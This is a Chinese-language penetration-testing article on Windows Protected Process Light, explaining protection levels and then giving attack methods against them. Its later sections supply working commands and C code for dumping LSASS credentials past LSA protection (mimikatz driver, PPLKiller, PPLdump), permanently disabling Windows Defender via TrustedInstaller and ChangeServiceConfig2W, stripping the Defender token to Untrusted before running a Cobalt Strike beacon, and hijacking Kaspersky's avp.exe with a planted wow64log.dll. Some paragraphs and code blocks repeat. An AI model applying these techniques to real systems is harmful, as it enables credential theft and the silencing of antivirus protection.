作者:李木
原文鏈接:https://mp.weixin.qq.com/s/Vp0UmGuGl_O2L4blUiHhSw
PP/PPL(s)背景概念
首先,PPL表示Protected Process Light,但在此之前,只有Protected Processes。受保護進程的概念是隨Windows Vista / Server 2008引入的,其目的不是保護您的數據或憑據。其最初目標是保護媒體內容并遵守DRM(數字版權管理)要求。Microsoft 開發了這種機制,以便您的媒體播放器可以讀取例如藍光,同時防止您復制其內容。當時的要求是鏡像文件(即可執行文件)必須使用特殊的 Windows Media 證書進行數字簽名(如Windows Internals的“受保護的進程”部分中所述https://docs.microsoft.com/en-us/sysinternals/resources/windows-internals)。
實際上,受保護的進程只能由具有非常有限的權限的未受保護進程訪問:PROCESS_QUERY_LIMITED_INFORMATION,PROCESS_SET_LIMITED_INFORMATION和。
對于一些高度敏感的過程,這個集合甚至可以減少PROCESS_TERMINATEPROCESS_SUSPEND_RESUME
幾年后,從Windows 8.1 / Server 2012 R2開始,Microsoft 引入了Protected Process Light的概念。PPL實際上是對之前Protected Process模型的擴展,增加了“Protection level”的概念,這基本上意味著一些PP(L)進程可以比其他進程受到更多的保護。
當 PP 模型首次與 Windows Vista 一起引入時,進程要么受到保護,要么不受保護。然后,從 Windows 8.1 開始,PPL 模型擴展了這一概念并引入了保護級別。直接后果是一些 PP(L) 現在可以比其他的受到更多保護。最基本的規則是,未受保護的進程只能使用一組非常受限的訪問標志打開受保護的進程,例如PROCESS_QUERY_LIMITED_INFORMATION. 如果他們請求更高級別的訪問權限,系統將返回錯誤。Accessis Denied
對于 PP(L)s,它有點復雜。他們可以請求的訪問級別取決于他們自己的保護級別。此保護級別部分由文件數字證書中的特殊 EKU 字段確定。創建受保護進程時,保護信息存儲在EPROCESS內核結構中的特殊值中。此值存儲保護級別(PP 或 PPL)和簽名者類型(例如:反惡意軟件、Lsa、WinTcb 等)。簽名者類型在 PP(L) 之間建立了一種層次結構。
最基本的規則是,未受保護的進程只能使用一組非常受限的訪問標志打開受保護的進程,例如PROCESS_QUERY_LIMITED_INFORMATION. 如果他們請求更高級別的訪問權限,系統將返回錯誤。Accessis Denied。
當 PP 模型首次與 Windows Vista 一起引入時,進程要么受到保護,要么不受保護。然后,從 Windows 8.1 開始,PPL 模型擴展了這一概念并引入了保護級別。直接后果是一些 PP(L) 現在可以比其他的受到更多保護。最基本的規則是,未受保護的進程只能使用一組非常受限的訪問標志打開受保護的進程,例如PROCESS_QUERY_LIMITED_INFORMATION. 如果他們請求更高級別的訪問權限,系統將返回錯誤。Accessis Denied
對于 PP(L)s,它有點復雜。他們可以請求的訪問級別取決于他們自己的保護級別。此保護級別部分由文件數字證書中的特殊 EKU 字段確定。創建受保護進程時,保護信息存儲在EPROCESS內核結構中的特殊值中。此值存儲保護級別(PP 或 PPL)和Signer類型(例如: PsProtectedSignerAntimalware 、Lsa、WinTcb 等)。Signer類型在 PP(L) 之間建立了一種層次結構。以下是適用于 PP(L) 的基本規則:
PPl(s)基本概念
定義保護級別
Protected Process Light的內部結構 https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
在windows中,EPROCESS結構現在具有以下類型的"保護"字段:
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0,3 Bits
+0x000 Audit : Pos 3,1 Bit
+0x000 Signer : Pos 4,4 Bits
其中Type定義進程是 PP 還是 PPL,Type的值可以是以下之一:
_PS_PROTECTED_TYPE
PsProtectedTypeNone = 0n0
PsProtectedTypeProtectedLight = 0n1
PsProtectedTypeProtected = 0n2
PsProtectedTypeMax = 0n3
Signer即實際保護級別,Signer的值可以是以下之一:
_PS_PROTECTED_SIGNER
PsProtectedSignerNone = 0n0
PsProtectedSignerAuthenticode = 0n1
PsProtectedSignerCodeGen = 0n2
PsProtectedSignerAntimalware = 0n3
PsProtectedSignerLsa = 0n4
PsProtectedSignerWindows = 0n5
PsProtectedSignerWinTcb = 0n6
PsProtectedSignerMax = 0n7

保護級別組合
進程的保護級別由這兩個值的組合定義。下表列出了最常見的組合。
| Protection level | Value | Signer | Type |
|---|---|---|---|
| PS_PROTECTED_SYSTEM | 0x72 | WinSystem (7) | Protected (2) |
| PS_PROTECTED_WINTCB | 0x62 | WinTcb (6) | Protected (2) |
| PS_PROTECTED_WINDOWS | 0x52 | Windows (5) | Protected (2) |
| PS_PROTECTED_AUTHENTICODE | 0x12 | Authenticode (1) | Protected (2) |
| PS_PROTECTED_WINTCB_LIGHT | 0x61 | WinTcb (6) | Protected Light (1) |
| PS_PROTECTED_WINDOWS_LIGHT | 0x51 | Windows (5) | Protected Light (1) |
| PS_PROTECTED_LSA_LIGHT | 0x41 | Lsa (4) | Protected Light (1) |
| PS_PROTECTED_ANTIMALWARE_LIGHT | 0x31 | Antimalware (3) | Protected Light (1) |
| PS_PROTECTED_AUTHENTICODE_LIGHT | 0x11 | Authenticode (1) | Protected Light (1) |
Signer類型
在Protected Processes的早期,保護級別是二進制的,一個進程要么受保護,要么不受保護。當 Windows NT 6.3 引入 PPL 時,PP 和 PPL 現在都具有由Signer級別確定的保護級別,那么我們需要了解如何確定Signer類型和保護級別。
Signer級別通常由文件數字證書中的一個特殊字段確定:增強型密鑰使用 (EKU)。

保護優先級
在Windows Internals 7th Edition Part 1的“ Protected Process Light (PPL)部分,我們可以看到以下
When interpreting the power of a process, keep in mind that first, protected processes always trump PPLs, and that next, higher-value signer processes have access to lower ones, but not vice versa.
如果它的Signer級別大于或等于,那么一個PP 可以打開一個 PP 或具有完全訪問權限的 PPL
如果它的Signer級別大于或等于,那么一個 PPL 可以打開另一個具有完全訪問權限的 PPL
PPL 無法打開具有完全訪問權限的 PP,無論其Signer級別如何

例如
wininit.exe– 會話 0 初始化
lsass.exe– LSASS 流程
MsMpEng.exe– Windows Defender 服務

保護級別分別為
| Pr. | Process | Type | Signer | Level |
|---|---|---|---|---|
| 1 | wininit.exe | Protected Light | WinTcb | PsProtectedSignerWinTcb-Light |
| 2 | lsass.exe | Protected Light | Lsa | PsProtectedSignerLsa-Light |
| 3 | MsMpEng.exe | Protected Light | Antimalware | PsProtectedSignerAntimalware-Light |
這 3 個 PPL 的是NT AUTHORITY\SYSTEM運行,那么也是具有相同的SeDebugPrivilege權限,那么我們可以直接分析保護級別
wininit.exesigner type為WinTcb,它是 PPL 的最高可能值,那么它可以訪問其他兩個進程。然后,lsass.exe可以訪問MsMpEng.exe,因為signer級別Lsa高于Antimalware。最后,MsMpEng.exe不能訪問其他兩個進程,因為它具有最低級別。不能訪問其他兩個進程,因為它具有最低級別。
例如,當 LSA 保護啟用時,作為 PPL 執行,可以將使用Process Explorer觀察保護級別:PsProtectedSignerLsa-Light

如果需要訪問它的內存,那么需要調用并指定訪問標志。如果調用的進程不受保護,則無論用戶的權限如何,此調用都會立即失敗并出現錯誤:

但是,如果調用進程是具有更高級別的 PPL (DeniedWinTcb例如),相同的調用會成功(只要用戶具有適當的權限)

無法殺死的進程
具有屬于 Antimalware、Lsa 或 WinTcb 的受保護簽名者的進程僅授予 0×3800 (~0xFC7FF) - 換句話說,禁止 PROCESS_TERMINATE 權限。而對于禁止PROCESS_TERMINATE的同一個組,我們也可以看到THREAD_SUSPEND_RESUME也被禁止了。


這里攻擊PPl的主要為在滲透測試中比較常見的難點,例如Lsass的dump密碼和AV,EDR的繞過和破壞。
攻擊PPL的Lsass進程
這里主要討論lsass中開啟了PPL之后dump密碼的手法。
在微軟文檔中我們可以使用以下方法知道:
1.以管理員身份打開注冊表編輯器( );regedit.exe
2.打開鑰匙HKLM\SYSTEM\CurrentControlSet\Control\Lsa;
3.添加DWORD值RunAsPPL并將其設置為1;4.重啟。
如果在AD域環境中為:
1.打開組策略管理控制臺 (GPMC)
2.創建在域級別鏈接或鏈接到包含您的計算機帳戶的組織單位的新 GPO。或者,您可以選擇已部署的 GPO。
3.右鍵單擊 GPO,然后單擊編輯以打開組策略管理編輯器。
4.展開計算機配置,展開首選項,然后展開Windows 設置。
5.右鍵單擊注冊表,指向新建,然后單擊注冊表項。將出現“新建注冊表屬性”對話框。
6.在Hive列表中,單擊HKEY_LOCAL_MACHINE。
7.在Key Path列表中,瀏覽至SYSTEM\CurrentControlSet\Control\Lsa。
8.在值名稱框中,鍵入RunAsPPL。
9.在值類型框中,單擊REG_DWORD。
10.在數值數據框中,鍵入00000001。
11.單擊確定。 11.單擊確定。
啟用之后。lsass.exe為:

同時無法對lsass的內存進行訪問:

加載驅動程序獲取hash
在 Windows 中,本地用戶帳戶使用算法 ( NTLM ) 進行哈希處理,并存儲在稱為 SAM(安全帳戶管理器)的數據庫中,該數據庫本身就是一個注冊表配置文件。就像其他操作系統一樣,存在各種離線和在線攻擊,以獲取、重置或以其他方式重用存儲在 SAM 中的哈希值。
本地安全機構 (LSASS) 的進程管理此信息的運行時狀態,并最終負責所有登錄操作(包括通過 Active Directory 進行的遠程登錄)。一般來說我們在滲透測試中都會使用minikatz對lsass.exe進行dump密碼的操作。

Mimikatzprivilege::debug中的命令成功啟用;SeDebugPrivilege,但是該命令sekurlsa::logonpasswords失敗并出現錯誤代碼0x00000005,從minikatz代碼kuhl_m_sekurlsa_acquireLSA()函數中我們可以簡單了解為 https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c
HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
} else {
PRINT_ERROR_AUTO(L"Handle on memory");
}
我們在之前的截圖中可以看到,這個函數失敗了,錯誤代碼就是“訪問被拒絕”。這證實,一旦啟用,即使是管理員也無法使用所需的訪問標志打開。

在Mimikatz中使用數字簽名的驅動程序來刪除內核中 Process 對象的保護標志

minikatz安裝驅動程序
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

使用命令!processprotect刪除保護

同時我們在進程中也是可以訪問到lsass.exe的句柄

dump lsass.exe密碼
通過修補 EPROCESS 內核結構禁用 LSASS 進程上的 PPL 標志
我們需要找到LSASS EPROCESS結構的地址并將5個值修補:SignatureLevel、SectionSignatureLevel、Type、Audit和Signer為零
該EnumDeviceDrivers函數可用于泄漏內核基地址。這可用于定位指向系統進程的EPROCESS結構的PsInitialSystemProcess。由于內核將進程存儲在鏈表中,因此可以使用EPROCESS結構的 ActiveProcessLinks成員來迭代鏈表并找到LSASS。
如果我們查看EPROCESS結構(參見下圖),我們可以看到我們需要修補的5個字段都按慣例對齊成連續的4個字節。這讓我們可以在單個4字節寫入中修補EPROCESS結構,
如下所示: WriteMemoryPrimitive(Device,4,CurrentProcessAddress+SignatureLevelOffset, 0x00);

那么可以移除PPL,然后就可以使用任何Dump LSASS方法,例如MimiKatz、MiniDumpWriteDump API調用等。
POC:
https://github.com/RedCursorSecurityConsulting/PPLKiller
PPLKiller version 0.3 by @aceb0nd
Usage: PPLKiller.exe
[/disablePPL <PID>]
[/disableLSAProtection]
[/makeSYSTEM <PID>]
[/makeSYSTEMcmd]
[/installDriver]
[/uninstallDriver]

運行PPLKiller.exe /installDriver安裝驅動程序;

進行攻擊,PPLKiller.exe /disableLSAProtection;


PP(L) 模型有效地防止未受保護的進程使用OpenProcess例如擴展訪問權限訪問受保護的進程。
濫用 DefineDosDevice API
函數的原型:
DefineDosDevice
BOOL DefineDosDeviceW(
DWORD dwFlags,
LPCWSTR lpDeviceName,
LPCWSTR lpTargetPath
);
> DefineDosDevice
BOOL DefineDosDeviceW(
DWORD dwFlags,
LPCWSTR lpDeviceName,
LPCWSTR lpTargetPath
);
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-definedosdevicewhttps://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-definedosdevicew
可以定義、重新定義或刪除 MS-DOS 設備名稱。
具體利用分析手法:
https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
基本原理為:
使用DefineDosDeviceAPI 函數來欺騙系統創建任意已知 DLL 條目。由于 PPL 不檢查已知 DLL 的數字簽名,因此以后可以使用它來執行 DLL 劫持攻擊并在 PPL 中執行任意代碼。
c:\Users\qax\Desktop>PPLdump.exe
_____ _____ __ _
| _ | _ | | _| |_ _ _____ ___
| __| __| |__| . | | | | . | version 0.4
|__| |__| |_____|___|___|_|_|_| _| by @itm4n |_|
Description:
Dump the memory of a Protected Process Light (PPL) with a *userland* exploit
Usage:
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
Arguments:
PROC_NAME The name of a Process to dump
PROC_ID The ID of a Process to dump
DUMP_FILE The path of the output dump file
Options:
-v (Verbose) Enable verbose mode
-d (Debug) Enable debug mode (implies verbose)
-f (Force) Bypass DefineDosDevice error check
Examples:
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
dump lsass.exe
.\PPLdump.exe -v lsass.exe lsass.dmp

攻擊PPL的Antimalware
在微軟文檔中被稱為Protecting Anti-Malware Services(保護反惡意軟件服務)
要使反惡意軟件用戶模式服務作為受保護的服務運行,反惡意軟件供應商必須在 Windows 計算機上安裝 ELAM 驅動程序。除了現有的 ELAM 驅動程序認證要求外,驅動程序必須有一個嵌入的資源部分,其中包含用于簽署用戶模式服務二進制文件的證書信息。
在啟動過程中,將從 ELAM 驅動程序中提取此資源部分以驗證證書信息并注冊反惡意軟件服務。反惡意軟件服務也可以在反惡意軟件安裝過程中通過調用特殊的 API 進行注冊,如本文檔后面所述。
從 ELAM 驅動程序成功提取資源部分并注冊用戶模式服務后,允許該服務作為受保護服務啟動。服務作為受保護啟動后,系統上的其他非受保護進程將無法注入線程,也不會允許它們寫入受保護進程的虛擬內存。
此外,加載到受保護進程中的任何非 Windows DLL 都必須使用適當的證書進行簽名。
https://web.archive.org/web/20211019010629/
https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-
為了能夠作為PPL運行,反惡意軟件供應商必須向 Microsoft 申請、證明其身份、簽署具有約束力的法律文件、實施Early Launch Anti-Malware ( ELAM ) 驅動程序、通過測試套件運行并提交向 Microsoft 索取特殊的 Authenticode 簽名。這不是一個簡單的過程。此過程完成后,供應商可以使用此ELAM驅動程序讓 Windows 通過將其作為PPL運行來保護其反惡意軟件服務。
例如:
Windows Defender

ESET Security

即使以 SYSTEM(或提升的管理員)身份運行的用戶SeDebugPrivilege 也無法終止PPL Windows Defender 反惡意軟件服務 ( MsMpEng.exe)。這是因為非PPL進程 taskkill.exe無法使用諸如 OpenProcess之類的 API 獲取具有對PPLPROCESS_TERMINATE進程的訪問權限的句柄。
停止PPL保護破壞WDF
可以關閉Windows Defender服務并通過提升權限刪除ppl保護,然后刪除Windows Defender中的DLL和其他文件,使Windows Defender服務無法運行,從而導致Windows Defender拒絕服務。
1.將權限升級到trustedinstaller
我們使用受信任的安裝程序組令牌自動竊取系統令牌,以提升到受信任的安裝程序權限,在這里,我們使用一個開源工具來利用它:https://github.com/0xbadjuju/Tokenvator.

提權到TrustedInstaller并使用這個權限打開一個新的CMD.exe

同時這個cmd.exe也擁有TrustedInstaller權限。

2.關閉Windows Defender服務
這個其實并不是漏洞,因為我們的administrator權限也可以直接臨時關閉Windows Defender服務。

但是這樣關閉Windows Defender服務可以手工打開和重啟會自動打開,我們想要的是永遠關閉Windows Defender服務,在黑客的想法中就是目標無論如何都沒有辦法再次啟動Windows Defender服務,當然重裝系統除外。哈哈哈....
3.移除 PsProtectSignerAntimalware-Light 保護
在微軟文檔中我們可以知道:
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w
只要我們對服務對象有足夠的訪問權限,就可以更改服務保護。也就是說我們可以關閉Windows Defender服務的PPL。經過我們測試知道服務 ACL 根本不允許 SYSTEM 用戶和管理員組修改或停止 Windows Defender 服務。但它允許 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服務的ppl,那么上面我們擁有了完整的TrustedInstaller權限。
那么我們可以禁用Windows Defender 服務的PsProtectSignerAntimalware-Light,然后可以修改和刪除Windows Defender的運行必要組件來達到使永遠關閉Windows Defender服務的目的。
Windows Defender的文件保存路徑為:
C:\Program Files\Windows Defender
C:\Program Files\Windows Defender Advanced Threat Protection
C:\Program Files (x86)\Windows Defender
在有PPL的情況下我們無法對這些文件進行任何修改。

同樣在TrustedInstaller權限中也無法進行修改等等操作。

那么我們可以使用TrustedInstaller權限通過ChangeServiceConfig2W來停止PsProtectSignerAntimalware-Light 保護,然后修改和刪除Windows Defender的運行必要組件來達到使永遠關閉Windows Defender服務的目的。
SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服務控制管理器的連接 SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);
//打開一個已經存在的服務 打開wdf的服務
if (windefend_svc == NULL) {
printf("\n[-] Failed to open WinDefend service.");
return 1;
}
printf("Done.\n");
SERVICE_STATUS svc_status;
if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) {
//停止WDF服務
printf("[-] Failed to stop WinDefend service :(");
return 1;
}
printf("[+] Successfully sent service stop control.\n"); SERVICE_LAUNCH_PROTECTED_INFO info;
DWORD ret_sz = 0;
QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz);
//檢索WDF服務的可選配置參數。
if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE)
goto WaitDefender;
info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE;
if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) {
printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :("); return 1;
}
printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service.\n");
WaitDefender:
printf("[*] Waiting WinDefend to stop .!\n"); WaitForSingleObject(hwindefend, INFINITE);
CloseHandle(hwindefend);
printf("[!] Attempting to unload WdFilter.sys ... ");
然后修改修改和刪除Windows Defender的運行必要組件來達到使永遠關閉Windows Defender服務的目的
Toke置為Untrusted
微軟文檔:https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
Windows 令牌
可以將 Windows 令牌視為安全憑證。它說明了你是誰以及你可以做什么。通常,當用戶運行一個進程時,該進程使用他們的令牌運行,并且可以執行用戶可以執行的任何操作。
令牌中一些最重要的數據包括:
User identity
Group membership (e.g.Administrators)
Privileges (e.g. SeDebugPrivilege)
Integrity level
令牌是 Windows 授權的關鍵部分。每當 Windows 線程訪問安全對象時,操作系統都會執行安全檢查。它將線程的有效令牌與 正在訪問的對象的安全描述符進行比較。
在強制完整性控制 (MIC) 中我們知道:
Windows defines four integrity levels: low, medium, high, and system. Standard users receive medium, elevated users receive high. Processes you start and objects you create receive your integrity level (medium or high) or low if the executable file's level is low; system services receive system integrity. Objects that lack an integrity label are treated as medium by the operating system; this prevents low-integrity code from modifying unlabeled objects. Additionally, Windows ensures that processes running with a low integrity level cannot obtain access to a process which is associated with an app container.
訪問令牌
Windows 提供OpenProcessTokenAPI 以啟用與進程令牌的交互。MSDN聲明必須PROCESS_QUERY_INFORMATION有權使用OpenProcessToken. 由于未受保護的進程只能PROCESS_QUERY_LIMITED_INFORMATION訪問PPL進程(注意LIMITED),因此似乎不可能獲得PPL進程令牌的句柄。但是,在這種情況下, MSDN是不正確的。只有 PROCESS_QUERY_LIMITED_INFORMATION,我們也可以成功打開受保護進程的令牌。
通過Process Hacker查看 Windows Defender 的 ( MsMpEng.exe) 令牌,我們看到以下自由訪問控制列表 ( DACL ):

SYSTEM 用戶可以完全控制令牌。這意味著,除非有其他機制保護令牌,否則以 SYSTEM 身份運行的線程可以修改令牌,但是在windows中并沒有保護令牌的機制。
在Process Hacker中我們可以看到定義的完整性為6種,MsMpfeng啟動為System.

其中我們需要注意的是Untrusted的,
Untrusted – 匿名登錄的進程被自動指定為 Untrusted
Untrusted目前主要應用在瀏覽器中,也就是Sandboxing,通過創建一個稱為沙箱的受限安全上下文來完成的。當沙盒需要在系統上執行特權操作時,例如保存下載的文件,它可以請求非沙盒“代理”進程代表它執行操作,如果沙盒進程被利用,那么有效負載僅對沙盒可訪問的資源造成損害的能力。
例如msedge瀏覽器的進程:

簡單來說就是如果為Untrusted,那么進程對計算機資源的訪問非常有限。
使用這種技術,攻擊者可以強行刪除MsMpEng.exe令牌中的所有權限,并將其從系統降低到不受信任的完整性。對不受信任的完整性的削弱會阻止受害者進程訪問系統上的大多數安全資源,從而在不終止進程的情況下使進程失去能力。

Cobaltstrike默認生成beacon,直接上線。

對于360等等也是可以這樣來進行繞過和利用。
DLL hijacking在PPL進程中執行任意代碼
回看微軟文檔中關于Protecting Anti-Malware Services的內容時,可以看到具有這樣描述的一句話:
DLL signing requirementsAs
mentioned earlier, any non-Windows DLLs that get loaded into the protected service must be signed with the same certificate that was used to sign the anti-malware service.
加載到受保護服務中的任何非 Windows DLL必須使用用于簽署反惡意軟件服務的相同證書進行簽名。那么如果加載的是windows的DLL是否為不用簽名?
這里以卡巴斯基的avp.exe進行利用

設置好規則

可以看到加載了一批windows的DLL

后面加載的是卡巴斯基自身的DLL,我們看一下Wow64log.dll
查看一下Wow64log.dll是否在KnownDlls中

wow64log.dll與 WoW64 Windows 機制有關,該機制允許在 64 位 Windows 上運行 32 位程序。該子系統會自動嘗試加載它,但是它不存在于任何公共 Windows 版本中
C:\Windows\System (Windows 95/98/Me)
C:\WINNT\System32 (Windows NT/2000)
C:\Windows\System32 (Windows XP,Vista,7,8,10)
如果是64位文件C:\Windows\SysWOW64
作為管理員,我們可以構造惡意 wow64log.dll 文件復制到 System32 。
例如:
#include "pch.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <iostream>
#include <map>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
char szFileName[MAX_PATH + 1];
GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);
//check if we are injected in an interesting McAfee process
if (strstr(szFileName, "avp") != NULL
//|| strstr(szFileName, "mcshield") != NULL
|| strstr(szFileName, "avp.exe") != NULL
) {
DisableThreadLibraryCalls(hModule);
}
else
{
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
//log("detach");
break;
}
return TRUE;
> #include "pch.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <iostream>
#include <map>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
char szFileName[MAX_PATH + 1];
GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);
//check if we are injected in an interesting McAfee process
if (strstr(szFileName, "avp") != NULL
//|| strstr(szFileName, "mcshield") != NULL
|| strstr(szFileName, "avp.exe") != NULL
) {
DisableThreadLibraryCalls(hModule);
}
else
{
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
//log("detach");
break;
}
return TRUE;
手動復制在目標文件目錄中,然后啟動卡巴斯基,可以看到加載了我們的Wow64log.dll

同時PPL的保護依然存在,但是我們已經可以在AVP.exe中執行任意代碼,也就是注入了ppl的進程,繼承了ppl的保護。

也可以在卡巴安全上下文中執行我們的shellcode 例如:

CobaltStrike beacon_ppL
國外安全研究員將 PPLDump 漏洞利用移植到 .NET 以將 Cobalt Strike 信標作為 WinTCB PPL 運行。
https://twitter.com/buffaloverflow/status/1400441642516164614

同樣我們也實現了類型的攻擊手法
參考資料
- https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-
- https://www.crowdstrike.com/blog/protected-processes-part-3-windows-pki-internals-signing-levels-scenarios-signers-root-keys/
- https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1892/
暫無評論